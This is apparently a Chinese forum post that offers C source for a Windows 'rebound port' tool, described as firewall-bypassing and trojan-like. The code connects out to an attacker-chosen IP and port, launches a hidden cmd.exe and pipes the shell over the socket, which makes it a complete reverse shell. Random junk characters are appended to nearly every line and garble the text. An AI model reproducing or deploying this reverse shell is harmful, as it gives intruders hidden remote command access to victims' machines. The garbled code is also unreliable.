这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 klJDYFX=HK
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/* ============================== l<z[)fE{uS
Rebound port in Windows NT 3)42EM'9(
By wind,2006/7 ~iF*+\
===============================*/ p~Dm3^Y
#include zXUE<\
#include *b7HtUA
#BlH)Cv
#pragma comment(lib,"wsock32.lib") @YWfq$23
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void OutputShell(); MH{vFA4:,
SOCKET sClient; 3=sA]j-+(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6~$<
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void main(int argc,char **argv) l_^>spF
{ Z0`?
WSADATA stWsaData; S,Zjol %p
int nRet; ;@v7AF6Hq
SOCKADDR_IN stSaiClient,stSaiServer; *M-.Vor?R
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if(argc != 3) >Z<ym|(T*
{ |mY<TWoX
printf("Useage:\n\rRebound DestIP DestPort\n"); &WvJg#f
return; '#u2q=n4*
} ^Fb"Is#S,
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WSAStartup(MAKEWORD(2,2),&stWsaData); E3NYUHfZ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f&^Ea-c
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stSaiClient.sin_family = AF_INET; |[k6X=5
stSaiClient.sin_port = htons(0); X] Tb4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;hd> v&u#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h/-7;Csv
{ B>a`mFM
printf("Bind Socket Failed!\n"); ]~kqPw<R
return; >{Lfrc1
} #J^p,6
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stSaiServer.sin_family = AF_INET; y^M'&@F
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0FTiTrTn
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y~ ^>my7G
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s/Q}fW$ex
{ -uO< ]
printf("Connect Error!"); y<3v/,Y
return; Ie4*#N_
}
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OutputShell(); b;!ilBc
} S$muV9z2=
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void OutputShell() :*c@6;2@
{ o#0NIn"GS/
char szBuff[1024]; 5\QNGRu"
SECURITY_ATTRIBUTES stSecurityAttributes; :peBQ{bj
OSVERSIONINFO stOsversionInfo; &[RC 4^;\V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fjp>FVv3
STARTUPINFO stStartupInfo; vkbB~gr@*
char *szShell; ;;l(
PROCESS_INFORMATION stProcessInformation; xW"J@OiKL
unsigned long lBytesRead; Mh3zl
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;]nU->
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]p0m6}B
stSecurityAttributes.lpSecurityDescriptor = 0; i1aS2gFi_
stSecurityAttributes.bInheritHandle = TRUE; }zLe;1Tx
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8h AI l
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mYt(`S*q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |l)Oy#W
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TTy1a:V
stStartupInfo.wShowWindow = SW_HIDE; z$;%SYI
stStartupInfo.hStdInput = hReadPipe; rM>&!?y+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; HJg)c;u/2;
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GetVersionEx(&stOsversionInfo); XTZWbhNF
*j<;;z-
switch(stOsversionInfo.dwPlatformId) Pfd FB
{ *q8W;WaL
case 1: bdcuO)3
szShell = "command.com"; 4S"K%2'O
break; 2sittP
default: DO(
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szShell = "cmd.exe"; B8a!"AQ~5
break; wu
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} V TEyqo2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |h6@hB\
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send(sClient,szMsg,77,0); L{gFk{@W
while(1) eh)J'G]G
{ ,&)XhO?
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |<BTK_R
if(lBytesRead) U*a!Gn7l
{ ={feN L
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); luC',QJB
send(sClient,szBuff,lBytesRead,0); 8,kbGlSD
} 7g&_`(
else OQ[>s(`*{
{ CT"0"~~
lBytesRead=recv(sClient,szBuff,1024,0); %Yd}},X_E
if(lBytesRead<=0) break; lbv, jS
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k?xtZ,n{s
} *FG@Dts^&
} _BW$?:)9
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return; n\cP17dr
}